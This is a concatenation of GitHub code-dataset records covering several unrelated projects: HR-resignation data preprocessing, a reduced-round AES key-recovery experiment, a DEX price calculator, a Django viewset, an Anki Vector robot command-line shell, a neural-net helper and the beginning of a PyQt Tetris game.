__name__ == \"__main__\":\n\tmain()","repo_name":"DonkijoteLLC/The-Crab","sub_path":"petricor_sim-master/src/simple_arm/src/arm_control.py","file_name":"arm_control.py","file_ext":"py","file_size_in_byte":3876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"1997739495","text":"import pandas as pd\nimport pickle\nfrom sklearn.preprocessing import LabelEncoder, Normalizer\nimport numpy as np\nfrom sklearn.compose import ColumnTransformer\nfrom imblearn.over_sampling import SMOTENC\nfrom sklearn.model_selection import train_test_split\nfrom itertools import islice\n\n\n\ndef transform_data(data, type='predict'):\n\n # LABEL ENCODER\n lbl = LabelEncoder()\n\n # GET NORMALIZED COLUMNS\n df =data\n col_to_normalized = df.drop(\n columns=['location', 'brand', 'upgrade', 'd', 'sales_name', 'age', 'gender', 'day_upgrade', 'day_lasting',\n 'day_standard', 'depttw']).columns\n # DATA TRANSFORMING\n df['open_new'] = (df['new_cnt'] > 0).astype('int').astype('category')\n df['open_new'] = lbl.fit_transform(df['open_new'].astype(str))\n df['location'] = np.where(df.location == '台中', 1, 0)\n df['location'] = lbl.fit_transform(df['location'].astype(str))\n df['brand'] = np.where(df.brand == 'TutorABC(TP)', 1, 0)\n df['brand'] = lbl.fit_transform(df['brand'].astype(str))\n df['upgrade'] = lbl.fit_transform(df['upgrade'].astype(str))\n df['dayoff'] = lbl.fit_transform(df['dayoff'].astype(str))\n df['wk'] = df.d // 7\n df['datepart'] = df.d % 7\n df['d'] = lbl.fit_transform(df['d'])\n\n #NORMALIZATION\n df_to_normalized = df[col_to_normalized]\n\n # READ MODEL AND TRANSFORMER\n if type == 'training':\n nml_preprocessor = ColumnTransformer(remainder='passthrough',\n transformers=[('normalize', Normalizer(), col_to_normalized)])\n nml_preprocessor.fit(df_to_normalized)\n pickle.dump(nml_preprocessor, open(\"./pickle/nml_new.pkl\", \"wb\"))\n\n\n else:\n nml_preprocessor = pickle.load(open(\"./pickle/nml.pkl\", \"rb\"))\n\n df_rest = df.drop(columns=col_to_normalized)\n df_normalized = pd.concat([df_rest, pd.DataFrame(10 * nml_preprocessor.transform(df_to_normalized),\n index=df_to_normalized.index, columns=df_to_normalized.columns)],\n axis=1)\n del (df_to_normalized)\n del (df_rest)\n\n df_normalized[\n ['stv_t', 'dealcnt_t', 'new_cnt_t', 'closed_cnt_t', 'reserv_new_t', 'reserv_closed_t', 'dayoff_t', 'work_hr_t',\n 'scrm_new_cnt_t', 'reserv_scrm_new_t']] = df_normalized.groupby(['sales_name', 'datepart'])[\n ['stv', 'dealcnt', 'new_cnt', 'closed_cnt', 'reserv_new', 'reserv_closed', 'dayoff', 'work_hr', 'scrm_new_cnt',\n 'reserv_scrm_new']].diff().fillna(0)\n df_normalized[\n ['stv_ma3_t', 'dealcnt_ma3_t', 'new_cnt_ma3_t', 'closed_cnt_ma3_t', 'reserv_new_ma3_t', 'reserv_closed_ma3_t',\n 'dayoff_ma3_t', 'work_hr_ma3_t', 'scrm_new_cnt_ma3_t', 'reserv_scrm_new_ma3_t']] = \\\n df_normalized.groupby(['sales_name', 'datepart'])[\n ['stv_ma3', 'dealcnt_ma3', 'new_cnt_ma3', 'closed_cnt_ma3', 'reserv_new_ma3', 'reserv_closed_ma3', 'dayoff_ma3',\n 'work_hr_ma3', 'scrm_new_cnt_ma3', 'reserv_scrm_new_ma3']].diff().fillna(0)\n df_normalized[\n ['stv_ma7_t', 'dealcnt_ma7_t', 'new_cnt_ma7_t', 'closed_cnt_ma7_t', 'reserv_new_ma7_t', 'reserv_closed_ma7_t',\n 'dayoff_ma7_t', 'work_hr_ma7_t', 'scrm_new_cnt_ma7_t', 'reserv_scrm_new_ma7_t']] = \\\n df_normalized.groupby(['sales_name', 'datepart'])[\n ['stv_ma7', 'dealcnt_ma7', 'new_cnt_ma7', 'closed_cnt_ma7', 'reserv_new_ma7', 'reserv_closed_ma7', 'dayoff_ma7',\n 'work_hr_ma7', 'scrm_new_cnt_ma7', 'reserv_scrm_new_ma7']].diff().fillna(0)\n df_normalized[['stv_ma14_t', 'dealcnt_ma14_t', 'new_cnt_ma14_t', 'closed_cnt_ma14_t', 'reserv_new_ma14_t',\n 'reserv_closed_ma14_t', 'dayoff_ma14_t', 'work_hr_ma14_t', 'scrm_new_cnt_ma14_t',\n 'reserv_scrm_new_ma14_t']] = df_normalized.groupby(['sales_name', 'datepart'])[\n ['stv_ma14', 'dealcnt_ma14', 'new_cnt_ma14', 'closed_cnt_ma14', 'reserv_new_ma14', 'reserv_closed_ma14',\n 'dayoff_ma14', 'work_hr_ma14', 'scrm_new_cnt_ma14', 'reserv_scrm_new_ma14']].diff().fillna(0)\n\n return df_normalized\n\n\ndef data_for_model(data):\n df_normalized = data\n df_normalized['leave_in_60'] = np.where(df_normalized.d >= df_normalized.day_lasting - 60, 1, 0)\n\n df_normalized = df_normalized[\n ~((pd.isna(df_normalized.day_lasting)) & (df_normalized.d > df_normalized.day_standard - 60))]\n df_training = df_normalized[(~pd.isna(df_normalized.day_lasting)) | (~pd.isna(df_normalized.day_upgrade))]\n\n #\n df_training_sales = pd.unique(df_training.sales_name)\n df_training_sales_train, x_60_sales_test = train_test_split(df_training_sales, test_size=0.2, random_state=123)\n\n x_train_60 = df_training[df_training.sales_name.isin(df_training_sales_train)].drop(\n columns=['sales_name', 'leave_in_60', 'day_lasting', 'day_upgrade', 'wk', 'datepart', 'day_standard', 'depttw'])\n y_train_60 = df_training[df_training.sales_name.isin(df_training_sales_train)]['leave_in_60']\n x_test_60 = df_training[~df_training.sales_name.isin(df_training_sales_train)].drop(\n columns=['sales_name', 'leave_in_60', 'day_lasting', 'day_upgrade', 'wk', 'datepart', 'day_standard', 'depttw'])\n y_test_60 = df_training[~df_training.sales_name.isin(df_training_sales_train)]['leave_in_60']\n\n #\n catcol = list(map(lambda col: x_train_60.columns.get_loc(col),\n ['d', 'dayoff', 'upgrade', 'brand', 'gender', 'location', 'open_new']))\n sm = SMOTENC(random_state=27, categorical_features=catcol)\n x_train_60, y_train_60 = sm.fit_resample(x_train_60, y_train_60)\n\n return x_train_60, y_train_60, x_test_60, y_test_60\n\n\ndef take(n, iterable):\n return list(islice(iterable, n))\n\n\ndef topN(row, n):\n x = row.to_dict() # convert the input row to a dictionary\n x = {k: v for k, v in sorted(x.items(), key=lambda item: -item[1])} # sort the dictionary based on their values\n n_items = take(n, x.items()) # extract the first n values from the dictionary\n return n_items\n\ndef botN(row, n):\n x = row.to_dict() # convert the input row to a dictionary\n x = {k: v for k, v in sorted(x.items(), key=lambda item: -item[1], reverse=True)} # sort the dictionary based on their values\n n_items = take(n, x.items()) # extract the first n values from the dictionary\n return n_items\n\n","repo_name":"Chienchenghung/Company_record","sub_path":"resign_analysis-master/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":6300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"37667911435","text":"import random\nimport sys\nsys.path.append('./')\n\nfrom aes import AES_128\n\npre_computed_table = [[[None] for _ in range(256)] for _ in range(256) for _ in range(256)]\n\ndef pre_compute(crypt):\n\tfor a in range(256):\n\t\tfor b in range(a+1, 255):\n\t\t\tfor k in range(256):\n\t\t\t\tt = crypt.get_sbox(k)^crypt.get_sbox(a^k)^crypt.get_sbox(b^k)\n\t\t\t\tc = crypt.get_inv_sbox(t)^k\n\t\t\t\tif b < c: pre_computed_table[a][b][c] = k\n\ndef get_goodpairs(key):\n\tcrypt = AES_128(5)\n\tcrypt.key = key\n\tx = [chr(i) for i in range(256)]\n\tpl1 = [chr(0) for _ in range(16)]\n\tpl2 = [chr(0) for _ in range(16)]\n\ta = range(256)\n\tb, c = a[:], a[:]\n\trandom.shuffle(b)\n\trandom.shuffle(c)\n\n\tLIMIT = 2**21\n\n\tgood_pairs, count = [], 0\n\tfor i1 in range(256):\n\t\tfor i2 in range(i1+1, 256):\n\t\t\t# print(i1,i2)\n\t\t\tfor j1 in range(256):\n\t\t\t\tfor j2 in range(j1+1,256):\n\t\t\t\t\tfor k1 in range(256):\n\t\t\t\t\t\tfor k2 in range(k1+1,256):\n\t\t\t\t\t\t\tcount += 1\n\n\t\t\t\t\t\t\tpl2[5], pl2[10], pl2[15] = x[a[i2]], x[b[j2]], x[c[k2]]\n\t\t\t\t\t\t\tpl1[5], pl1[10], pl1[15] = x[a[i1]], x[b[j1]], x[c[k1]]\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tc1 = crypt.cipher(''.join(pl1))\n\t\t\t\t\t\t\tc2 = crypt.cipher(''.join(pl2))\n\n\t\t\t\t\t\t\tif ((c1[0]==c2[0]) and (c1[7]==c2[7]) and (c1[10]==c2[10]) and (c1[13]==c2[13]) and (pl1 != pl2)):\n\t\t\t\t\t\t\t\tgood_pairs.append([pl1, pl2])\n\n\t\t\t\t\t\t\tif count == LIMIT:\n\t\t\t\t\t\t\t\treturn good_pairs\n\treturn good_pairs\n\ndef is_mixture(crypt, k, x, y, z, w, ind):\n\tif ind == 0: key_guess = [chr(k)] + [chr(0)]*15\n\telif ind == 4: key_guess = [chr(0)]*5 + [chr(k)] + [chr(0)]*10\n\telif ind == 8: key_guess = [chr(0)]*10 + [chr(k)] + [chr(0)]*5\n\telif ind == 12: key_guess = [chr(0)]*15 + [chr(k)]\n\telse: return False\n\n\tc_x = crypt.cipher(''.join(x))\n\tc_y = crypt.cipher(''.join(y))\n\tc_z = crypt.cipher(''.join(z))\n\tc_w = crypt.cipher(''.join(w))\n\n\treturn c_x[ind]^yc_[ind] == c_z[ind]^c_w[ind]\n\n\ndef update_124(all_good_pairs):\n\tone_round_crypt = AES_128(1, True)\n\tlen_gp = len(all_good_pairs) # 2**15\n\n\tkeys_0, keys_5, keys_10, keys_15 = [], [], [], []\n\n\tfor i in range(len_gp):\n\t\tfor j in range(i+1, len_gp):\n\t\t\tx, y = all_good_pairs[i]\n\t\t\tz, w = all_good_pairs[j]\n\n\t\t\tfor k in range(256):\n\t\t\t\tif is_mixture(one_round_crypt, k, x, y, z, w, 0): keys_0.append(k)\n\t\t\t\tif is_mixture(one_round_crypt, k, x, y, z, w, 4): keys_5.append(k)\n\t\t\t\tif is_mixture(one_round_crypt, k, x, y, z, w, 8): keys_10.append(k)\n\t\t\t\tif is_mixture(one_round_crypt, k, x, y, z, w, 12): keys_15.append(k)\n\n\t\t\tfor k0 in keys_0:\n\t\t\t\tfor k5 in keys_5:\n\t\t\t\t\tfor k10 in keys_10:\n\t\t\t\t\t\tfor k15 in keys_15:\n\t\t\t\t\t\t\tkey_guess = [chr(k0)] + [chr(0)]*4 + [chr(k5)] + [chr(0)]*4 + [chr(k10)] + [chr(0)]*4 + [chr(k15)]\n\t\t\t\t\t\t\tone_round_crypt.key = ''.join(key_guess)\n\n\t\t\t\t\t\t\tc_x = one_round_crypt.cipher(''.join(x))\n\t\t\t\t\t\t\tc_y = one_round_crypt.cipher(''.join(y))\n\t\t\t\t\t\t\tc_z = one_round_crypt.cipher(''.join(z))\n\t\t\t\t\t\t\tc_w = one_round_crypt.cipher(''.join(w))\n\n\t\t\t\t\t\t\tif (c_x[0]^yc_[0] == c_z[0]^c_w[0]) and (c_x[4]^yc_[4] == c_z[4]^c_w[4]) and (c_x[8]^yc_[8] == c_z[8]^c_w[8]) and (c_x[12]^yc_[12] == c_z[12]^c_w[12]):\n\t\t\t\t\t\t\t\treturn key_guess\n\n\ndef update_34(all_good_pairs):\n\tone_round_crypt = AES_128(1, True)\n\tlen_gp = len(all_good_pairs) # 2**15\n\n\tkeys_0, keys_5, keys_10, keys_15 = [], [], [], []\n\n\tfor i in range(len_gp):\n\t\tfor j in range(i+1, len_gp):\n\t\t\tx, y = all_good_pairs[i]\n\t\t\tz, w = all_good_pairs[j]\n\n\t\t\tquartet_0 = [y[0]^x[0], z[0]^x[0], w[0]^x[0]]\n\t\t\tquartet_4 = [y[4]^x[4], z[4]^x[4], w[4]^x[4]]\n\t\t\tquartet_8 = [y[8]^x[8], z[8]^x[8], w[8]^x[8]]\n\t\t\tquartet_12 = [y[12]^x[12], z[12]^x[12], w[12]^x[12]]\n\n\t\t\tquartet_0.sort()\n\t\t\tquartet_4.sort()\n\t\t\tquartet_8.sort()\n\t\t\tquartet_12.sort()\n\n\t\t\tk0 = pre_computed_table[quartet_0[0]][quartet_0[1]][quartet_0[2]]^x[0]\n\t\t\tk5 = pre_computed_table[quartet_4[0]][quartet_4[1]][quartet_4[2]]^x[4]\n\t\t\tk10 = pre_computed_table[quartet_8[0]][quartet_8[1]][quartet_8[2]]^x[8]\n\t\t\tk15 = pre_computed_table[quartet_12[0]][quartet_12[1]][quartet_12[2]]^x[12]\n\n\t\t\tkey_guess = [chr(k0)] + [chr(0)]*4 + [chr(k5)] + [chr(0)]*4 + [chr(k10)] + [chr(0)]*4 + [chr(k15)]\n\t\t\treturn key_guess\n\n\nkey = \"2b7e151628aed2a6abf7158809cf4f3c\".decode('hex')\n\nall_good_pairs = get_goodpairs(key)\nprint(all_good_pairs)\n\nguessed = update_124(all_good_pairs)\nprint(guessed)\n\nif (guessed[0] == key[0]) and (guessed[4] == key[4]) and (guessed[8] == key[8]) and (guessed[15] == key[15]):\n\tprint(\"Success\")\n","repo_name":"dexter-morgan/Reduced-round-aes-key-recovery","sub_path":"update.py","file_name":"update.py","file_ext":"py","file_size_in_byte":4291,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"72945458588","text":"import Dydx\nimport QuickSort\nimport BinanceBid\n\nclass DEXSelling():\n def CreateBids(self):\n value1 = self.token1\n value2 = self.token2\n\n bids_Dydx = Dydx.GetBids(Dydx.GetPair(value1, value2))\n\n self.bids = bids_Dydx\n QuickSort.Bubble_sort(self.bids)\n return self.bids\n \n def Calculate(self):\n s = 0\n amount = self.amount\n firstAmount = amount\n expPrice = self.GetExpectedPrice()\n kurs = self.GetPairPrice()\n\n expPrice = self.GetExpectedPrice()\n for element in self.bids:\n bid_Price = element[0]\n bid_Volume = element[1]\n\n if (amount - bid_Volume > 0):\n amount -= bid_Volume\n s += bid_Price * bid_Volume\n else:\n s += bid_Price * amount\n amount = 0\n break\n \n if expPrice > 0:\n return {\n \"real_exchanged_price\": s,\n \"end_amount\": amount,\n \"delta_in_percents\": 100 - (100 * s / expPrice)\n }\n else:\n return {\n \"real_exchanged_price\": s,\n \"end_amount\": amount,\n \"delta_in_percents\": 0\n } \n \n\n def GetPairPrice(self):\n return float(BinanceBid.GetPairPrice(BinanceBid.GetPair(self.token1, self.token2)))\n \n def GetExpectedPrice(self):\n return self.GetPairPrice() * self.amount\n\n def __init__(self, amount, token1, token2) -> None:\n self.amount = amount\n self.token1 = token1\n self.token2 = token2\n self.bids = []\n \nclass DEXBuying():\n def CreateAsks(self):\n value1 = self.token1\n value2 = self.token2\n\n asks_Dydx = Dydx.GetAsks(Dydx.GetPair(value1, value2))\n\n self.asks = asks_Dydx\n QuickSort.Bubble_sort1(self.asks)\n return self.asks\n\n def Calculate(self):\n s = 0\n amount = self.amount\n\n for element in self.asks:\n ask_Price = element[0]\n ask_Volume = element[1]\n if (amount - ask_Volume > 0):\n amount -= ask_Volume\n s += ask_Price * ask_Volume\n else:\n s += ask_Price * amount\n amount = 0\n break\n expPrice = self.GetExpectedPrice()\n if expPrice > 0:\n return {\n \"expected_price\": expPrice,\n \"real_exchanged_price\": s,\n \"end_amount\": amount,\n \"delta_in_percents\": (100 * s / expPrice) - 100\n }\n else:\n return {\n \"expected_price\": expPrice,\n \"real_exchanged_price\": s,\n \"end_amount\": amount,\n \"delta_in_percents\": 0\n } \n \n\n def GetPairPrice(self):\n return float(BinanceBid.GetPairPrice(BinanceBid.GetPair(self.token1, self.token2)))\n \n def GetExpectedPrice(self):\n return self.GetPairPrice() * self.amount\n\n def __init__(self, amount, token1, token2) -> None:\n self.amount = amount\n self.token1 = token1\n self.token2 = token2\n self.asks = []\n\n","repo_name":"Tiran132/CEX-DEX-Calculator","sub_path":"DEX.py","file_name":"DEX.py","file_ext":"py","file_size_in_byte":3209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"74822056346","text":"def solution(s):\n # 집합 문자열을 리스트로 변경 후 길이 짧은 순으로 정렬\n arr = list(sorted(s.replace('{', '').replace('},', ' ').replace('}', '').split(), key=lambda x:len(x)))\n # 리스트의 각 요소를 추출\n for i in range(len(arr)):\n arr[i] = list(int(a) for a in arr[i].split(','))\n # 다음 요소에 있는 값을 모두 제거하기\n for i in range(len(arr)-1, 0, -1): \n tmp = [j for j in arr[i] if j in arr[i-1]]\n for t in tmp:\n arr[i].remove(t)\n return [a[0] for a in arr]","repo_name":"YebinLeee/Algorithm","sub_path":"00 Programmers/2019 Kakao Winter Internship/튜플/튜플.py","file_name":"튜플.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"30708623100","text":"#!/usr/bin/env python3\n\n\"\"\"\nAravind and Fengzhi's 15-694 Final Project: Make Vector Great Again\n\"\"\"\n\nimport anki_vector\nfrom anki_vector import *\nfrom anki_vector.util import *\nimport subprocess\nimport shlex\nimport functools\nimport time\nimport readline\nimport sys, os\nimport atexit\nimport code\nimport datetime\nimport logging\nimport platform\nimport re\nimport traceback\nfrom collections import namedtuple\nfrom importlib import __import__, reload\nimport concurrent.futures\nfrom NewFSM import NewFSM\nfrom NewFSM.NewFSM import *\n\nrobot = None\nRUNNING = False\nhistfile = None\nrunning_fsm = None\n\n\n\"\"\"\nFSM STUFF\n\"\"\"\n\ndef setup():\n global RUNNING, histfile\n robot = NewFSM.robot\n # tab completion\n readline.parse_and_bind('tab: complete')\n # history file\n if 'HOME' in os.environ: # Linux\n histfile = os.path.join(os.environ['HOME'], '.pythonhistory')\n elif 'USERPROFILE' in os.environ: # Windows\n histfile = os.path.join(os.environ['USERPROFILE'], '.pythonhistory')\n else:\n histfile = '.pythonhistory'\n\n try:\n readline.read_history_file(histfile)\n except IOError:\n pass\n atexit.register(readline.write_history_file, histfile)\n\n # del platform\n\n # Put current directory on search path.\n if '.' not in sys.path:\n sys.path.append('.')\n\n res = 0\n ans = None\n\n RUNNING = True\n\ndef runfsm(module_name, running_modules=dict()):\n \"\"\"runfsm('modname') reloads that module and expects it to contain\n a class of the same name. It calls that class's constructor and then\n calls the instance's start() method.\"\"\"\n\n global running_fsm\n robot = NewFSM.robot\n if running_fsm:\n stopAllMotors()\n running_fsm.stop()\n\n r_py = re.compile('.*\\.py$')\n if r_py.match(module_name):\n print(\"\\n'%s' is not a module name. Trying '%s' instead.\\n\" %\n (module_name, module_name[0:-3]))\n module_name = module_name[0:-3]\n\n found = False\n try:\n reload(running_modules[module_name])\n found = True\n except KeyError: pass\n except: raise\n if not found:\n try:\n running_modules[module_name] = __import__(module_name)\n except ImportError as e:\n print(\"Error loading %s: %s. Check your search path.\\n\" %\n (module_name,e))\n return\n except Exception as e:\n print('\\n===> Error loading %s:' % module_name)\n raise\n\n py_filepath = running_modules[module_name].__file__\n fsm_filepath = py_filepath[0:-2] + 'fsm'\n try:\n py_time = datetime.datetime.fromtimestamp(os.path.getmtime(py_filepath))\n fsm_time = datetime.datetime.fromtimestamp(os.path.getmtime(fsm_filepath))\n if py_time < fsm_time:\n cprint('Warning: %s.py is older than %s.fsm. Should you run genfsm?' %\n (module_name,module_name), color=\"yellow\")\n except: pass\n\n # The parent node class's constructor must match the module name.\n the_module = running_modules[module_name]\n the_class = the_module.__getattribute__(module_name) \\\n if module_name in dir(the_module) else None\n # if not isinstance(the_class,type) or not issubclass(the_class,StateNode):\n # cprint(\"Module %s does not contain a StateNode class named %s.\\n\" %\n # (module_name, module_name), color=\"red\")\n # return \n # print(\"StateMachineProgram robot in runfsm: {}\".format(StateMachineProgram.robot))\n running_fsm = the_class()\n the_module.robot = robot\n the_module.world = the_module.robot.world\n the_module.charger = the_module.robot.world.charger\n the_module.cube = the_module.robot.world.connected_light_cube\n # StateMachineProgram.robot = robot\n # Class's __init__ method will call setup, which can reference the above variables.\n running_fsm.robot = robot\n cli_globals = globals()\n cli_globals['running_fsm'] = running_fsm\n robot.conn.loop.call_soon(running_fsm.start)\n return running_fsm \n\ndef cli_loop():\n global RUNNING, histfile, ans, running_fsm\n robot = NewFSM.robot\n cli_globals = globals()\n cli_globals['world'] = robot.world\n cli_globals['light_cube'] = world.light_cube\n cli_globals['charger'] = robot.world.charger\n cli_globals['ans'] = None\n\n cli_globals['running_fsm'] = running_fsm\n # running_fsm.start()\n\n cli_loop._console = code.InteractiveConsole()\n cli_loop.battery_warned = False\n\n # MAIN LOOP\n while True:\n # Check for low battery\n battery_state = robot.get_battery_state().result()\n if not cli_loop.battery_warned and battery_state.battery_level == 1:\n cli_loop.battery_warned = True\n print(\"\\n** Low battery. Type robot.behavior.drive_on_charger() to recharge.\")\n elif cli_loop.battery_warned and battery_state.battery_level == 2:\n cli_loop.battery_warned = False\n\n # If we're not supposed to be running, get out\n if RUNNING == False:\n return\n\n # Main line reader\n cli_loop._line = ''\n while cli_loop._line == '':\n readline.write_history_file(histfile)\n try:\n os_version = platform.system()\n if os_version == 'Darwin': # Tkinter breaks console on Macs\n print('VectorCLI>>> ', end='')\n cli_loop._line = sys.stdin.readline().strip()\n else:\n cli_loop._line = cli_loop._console.raw_input('VectorCLI>>> ').strip()\n except KeyboardInterrupt:\n process_interrupt()\n continue\n except EOFError:\n print(\"EOF.\\nType 'exit' to exit.\\n\")\n continue\n\n try:\n robot.kine.get_pose()\n except: pass\n\n # ! means repeat last command\n if cli_loop._line[0] == '!':\n do_shell_command(cli_loop._line[1:])\n continue\n # # tm means send a text message (not yet implemented in our system)\n # elif cli_loop._line[0:3] == 'tm ' or cli_loop._line == 'tm':\n # text_message(cli_loop._line[3:])\n # continue\n # show means show a type of visualization. not implemented by us\n # elif cli_loop._line[0:5] == 'show ' or cli_loop._line == 'show':\n # show_args = cli_loop._line[5:].split(' ')\n # show_stuff(show_args)\n # continue\n # Reload this cli program\n elif cli_loop._line[0:7] == 'reload ':\n do_reload(cli_loop._line[7:])\n continue\n # Start something\n elif cli_loop._line[0:6] == 'start ' or cli_loop._line == 'start':\n start_args = cli_loop._line[6:].split(' ')\n start_stuff(start_args)\n continue\n cli_loop._do_await = False\n if cli_loop._line[0:7] == 'import ' or cli_loop._line[0:5] == 'from ' or \\\n cli_loop._line[0:7] == 'global ' or cli_loop._line[0:4] == 'del ' or \\\n cli_loop._line[0:4] == 'for ' or \\\n cli_loop._line[0:4] == 'def ' or cli_loop._line[0:6] == 'async ' :\n # Can't use assignment to capture a return value, so None.\n ans = None\n elif cli_loop._line[0:6] == 'await ':\n cli_loop._do_await = True\n cli_loop._line = 'ans=' + cli_loop._line[6:]\n elif cli_loop._line[0:5] == 'exit':\n # Clean up\n try:\n world_viewer.exited = True\n except: pass\n if running_fsm:\n running_fsm.stop()\n RUNNING=False\n else:\n cli_loop._line = 'ans=' + cli_loop._line\n try:\n cli_globals['charger'] = robot.world.charger # charger may have appeared\n exec(cli_loop._line, cli_globals)\n if cli_loop._do_await:\n print(\"Can't use await outside of an async def.\")\n ans = None # ans = await ans\n if not ans is None:\n print(ans,end='\\n\\n')\n except KeyboardInterrupt:\n print('Keyboard interrupt!')\n robot.disconnect()\n except SystemExit:\n print('Type exit() again to exit Python.')\n robot.disconnect()\n RUNNING = False\n except Exception:\n # robot.disconnect()\n traceback.print_exc()\n print()\n\ndef main():\n global robot\n args = anki_vector.util.parse_command_args()\n # with anki_vector.AsyncRobot(args.serial, show_viewer=True, show_3d_viewer=True) as async_robot:\n robot = anki_vector.AsyncRobot(args.serial, show_viewer=True, show_3d_viewer=True)\n robot.connect()\n NewFSM.robot = robot\n # forward = Forward()\n # turn = Turn()\n # backward = Forward(-50)\n # speak = Say(\"Hi There\")\n # takepic = TakePicture()\n # speak2 = Say(\"All done\")\n # declare_failure = Say(\"I have failed but I am still the best\")\n # displaypic = DisplayImageOnMonitor()\n # screenpic = DisplayImageOnScreen()\n # complete1 = CompletionTrans().add_sources(forward).add_destinations(turn)\n # complete2 = CompletionTrans().add_sources(turn).add_destinations(backward, speak)\n # complete3 = CompletionTrans().add_sources(speak).add_destinations(takepic)\n # dataTrans = DataTrans().add_sources(takepic).add_destinations(displaypic, screenpic)\n # timeTrans = TimeTrans(10).add_sources(displaypic).add_destinations(speak2)\n # failureTrans = FailureTrans().add_sources(forward, turn, backward, speak, takepic, speak2).add_destinations(declare_failure)\n # forward.start()\n setup()\n cli_loop()\n robot.disconnect()\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"L-F-Z/vector-tools","sub_path":"test_cli.py","file_name":"test_cli.py","file_ext":"py","file_size_in_byte":9699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"19940913562","text":"from rest_framework.viewsets import ModelViewSet\nfrom loan.models import Loan\nfrom .serializers import LoanSerializer\n\nclass LoanViewSet(ModelViewSet):\n queryset = Loan.objects.all()\n serializer_class = LoanSerializer\n \n def get_queryset(self):\n print('entrou')\n user = self.request.query_params.get('user', None)\n loan = self.request.query_params.get('loan', None)\n queryset = Loan.objects.all()\n \n if(user):\n queryset = queryset.filter(acc_id = user) \n \n if(loan):\n queryset = queryset.filter(id = loan) \n \n return queryset\n \n \n ","repo_name":"muriloargol0/Pi_QuartoSemestre_Django","sub_path":"emprestei/loan/api/viewsets.py","file_name":"viewsets.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"43613927687","text":"import numpy as np\nimport pickle\n\nclass Ann:\n\n \"\"\"\n O mapeamento de deve seguir a quantidade de itens de cada camada\n Ex:\n 3 para entrada, 3 para camada intermediaria 1, 3 para camada intermediaria 2, 2 saidas\n [3, 3, 3, 2]\n\n Ex:\n 3 para entrada, 3 para camada intermediaria, 2 saidas\n [3, 3, 2]\n \"\"\"\n @staticmethod\n def create_ann(config: list):\n\n network = []\n\n for index_config, value_config in enumerate(config):\n\n if len(config)-1 > index_config:\n\n network.append(\n # gerando matriz\n np.random.uniform(-1, 1, [value_config, config[index_config+1]])\n )\n\n return network\n\n @staticmethod\n def save(trained):\n f = open('nn_trained.txt', 'wb')\n f.write(pickle.dumps(trained, protocol=0))\n f.close()\n\n @staticmethod\n def load():\n f = open('nn_trained.txt', 'rb')\n trained = pickle.load(f)\n f.close()\n\n return trained\n\n\n\n","repo_name":"willian-rosa/aprendizado-de-maquina","sub_path":"ann.py","file_name":"ann.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"38224297492","text":"#!/usr/bin/python3\n# -*- coding:utf-8 -*-\n\nimport sys, random\nfrom PyQt5.QtWidgets import QApplication, QDesktopWidget, QHBoxLayout, QVBoxLayout, QLabel, \\\n QPushButton, QFrame, QLCDNumber, QSlider\n\nfrom PyQt5.QtGui import QIcon, QPainter, QPen, QBrush, QColor, QFont\nfrom PyQt5.QtCore import Qt, QBasicTimer\n\n\n# 形状\nclass Shape:\n def __init__(self):\n # 19种形状:tuple参数分别代表:(形状代号,左、右、上、下边缘距离,类型)\n self.num = 19\n self.type1 = 1\n self.type2 = 2\n self.type3 = 3\n self.type4 = 4\n self.type5 = 5\n self.vL = (1, 0, 0, 0, 3, self.type1)\n self.hL = (2, 0, 3, 0, 0, self.type1)\n self.S = (3, 0, 1, 0, 1, self.type2)\n self.lZ = (4, 0, 2, 0, 1, self.type3)\n self.ruZ = (5, 0, 1, 1, 1, self.type3)\n self.rZ = (6, 0, 2, 1, 0, self.type3)\n self.luZ = (7, 0, 1, 0, 2, self.type3)\n self.lvuF = (8, 0, 1, 0, 2, self.type4)\n self.rvuF = (9, 0, 1, 0, 2, self.type4)\n self.lhdF = (10, 0, 2, 0, 1, self.type4)\n self.rhdF = (11, 0, 2, 0, 1, self.type4)\n self.rvdF = (12, 0, 1, 0, 2, self.type4)\n self.lvdF = (13, 0, 1, 2, 0, self.type4)\n self.rhuF = (14, 0, 2, 1, 0, self.type4)\n self.lhuF = (15, 0, 2, 0, 1, self.type4)\n self.uW = (16, 0, 2, 1, 0, self.type5)\n self.dW = (17, 0, 2, 0, 1, self.type5)\n self.lW = (18, 0, 1, 1, 1, self.type5)\n self.rW = (19, 0, 1, 0, 2, self.type5)\n self.name = (\n (1, 0, 0, 0, 3, self.type1), (2, 0, 3, 0, 0, self.type1),\n (3, 0, 1, 0, 1, self.type2), (4, 0, 2, 0, 1, self.type3),\n (6, 0, 2, 1, 0, self.type3), (7, 0, 1, 0, 2, self.type3),\n (5, 0, 1, 1, 1, self.type3), (8, 0, 1, 0, 2, self.type4),\n (13, 0, 1, 2, 0, self.type4), (9, 0, 1, 0, 2, self.type4),\n (12, 0, 1, 0, 2, self.type4),\n (15, 0, 2, 0, 1, self.type4), (10, 0, 2, 0, 1, self.type4),\n (14, 0, 2, 1, 0, self.type4), (11, 0, 2, 0, 1, self.type4),\n (16, 0, 2, 1, 0, self.type5), (17, 0, 2, 0, 1, self.type5),\n (18, 0, 1, 1, 1, self.type5),\n (19, 0, 1, 0, 2, self.type5))\n\n self.color = (QColor(250, 150, 50), QColor(100, 100, 100), QColor(100, 150, 150), QColor(150, 100, 100))\n self.num_col = len(self.color)\n\n\n# Game\nclass Game:\n def __init__(self):\n self.__board = Board()\n\n\n# 界面\nclass Board(QFrame):\n def __init__(self):\n super().__init__()\n self.__num_y = 23\n self.__num_x = 25\n self.__time_step = 